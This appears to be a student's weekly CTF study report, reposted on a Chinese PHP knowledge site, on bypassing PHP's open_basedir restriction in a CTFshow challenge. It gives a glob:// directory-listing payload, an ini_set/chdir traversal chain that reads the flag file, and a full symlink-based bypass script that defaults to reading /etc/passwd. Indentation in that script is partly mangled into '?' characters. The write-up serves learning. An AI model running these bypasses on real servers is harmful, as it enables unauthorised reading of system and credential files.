IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 学习周报之open_basedir绕过 -> 正文阅读

[PHP知识库]学习周报之open_basedir绕过

一:

CTFSHOW805:

看到这个地方没有过滤信息就直接试了一下1=system(‘ls’);去读目录但是发现没反应就去看了一下phpinfo发现它是ban了很多函数然后open_basedir也开了所以这题就是要我们绕过open_basedir的题目,这类题在ctfshow命令执行的题中有出现过,就是通过glob协议进行目录读取,但是我忘了所以又重新学了一下glob协议的用法

glob伪协议

1=$a="glob:///*";

if($b=opendir($a)){

while (($file=readdir($b))!==false)

{echo $file." ";

}

closedir($b);

};

扫描目录得

然后因为有open_basedir限制目录,所以需要更改open_basedir限制的范围(注open_basedir范围修改不是随意修改,只能缩小不能变大,而且在任何目录下都有..和.目录)

姿势一:先创文件夹,在当前目录构造可以..的ini_set,然后通过多次chdir('..');跳转到根目录

mkdir("s");

chdir('s');

ini_set('open_basedir','..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

ini_set('open_basedir','/');

echo file_get_contents("/ctfshowflag");

姿势二:

直接上传p神脚本(但是太菜了还看不懂脚本怎么实现的)

<?php

/*

* by phithon

* From https://www.leavesongs.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

????mkdir($paths[$i]);

????chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) {

????chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) {

????mkdir($name);

????chdir($name);

????$j++;

}

for ($i = 0; $i <= $j; $i++) {

????chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');

function getRelativePath($from, $to) {

??// some compatibility fixes for Windows paths

??$from = rtrim($from, '\/') . '/';

??$from = str_replace('\\', '/', $from);

??$to ??= str_replace('\\', '/', $to);

??$from ??= explode('/', $from);

??$to ????= explode('/', $to);

??$relPath ?= $to;

??foreach($from as $depth => $dir) {

????// find first non-matching dir

????if($dir === $to[$depth]) {

??????// ignore this directory

??????array_shift($relPath);

????} else {

??????// get number of remaining dirs to $from

??????$remaining = count($from) - $depth;

??????if($remaining > 1) {

????????// add traversals up to first matching dir

????????$padLength = (count($relPath) + $remaining - 1) * -1;

????????$relPath = array_pad($relPath, $padLength, '..');

????????break;

??????} else {

????????$relPath[0] = './' . $relPath[0];

??????}

????}

??}

??return implode('/', $relPath);

}

function delfile($deldir){

????if (@is_file($deldir)) {

????????@chmod($deldir,0777);

????????return @unlink($deldir);

????}else if(@is_dir($deldir)){

????????if(($mydir = @opendir($deldir)) == NULL) return false;

????????while(false !== ($file = @readdir($mydir)))

????????{

????????????$name = File_Str($deldir.'/'.$file);

????????????if(($file!='.') && ($file!='..')){delfile($name);}

????????}

????????@closedir($mydir);

????????@chmod($deldir,0777);

????????return @rmdir($deldir) ? true : false;

????}

}

function File_Str($string)

{

????return str_replace('//','/',str_replace('\\','/',$string));

}

function getRandStr($length = 6) {

????$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

????$randStr = '';

????for ($i = 0; $i < $length; $i++) {

????????$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

????}

????return $randStr;

}

二:未完成事项及原因

最近答辩和考试和其他事情太多了,这周自由太少,所以学的东西也比较少,而且最近对于学哪些知识比较迷茫,可能之后得做一个计划

三:下周计划做的事

学习反序列化

四:相关知识分享

glob协议:(27条消息) 『CTF Tricks』PHP-绕过open_basedir_Ho1aAs的博客-CSDN博客

chdir绕过open_basedir:(27条消息) [SUCTF 2019]EasyWeb【chdir()绕过open_basedir】_D.MIND的博客-CSDN博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-05 10:57:56  更:2022-05-05 10:58:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 20:10:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码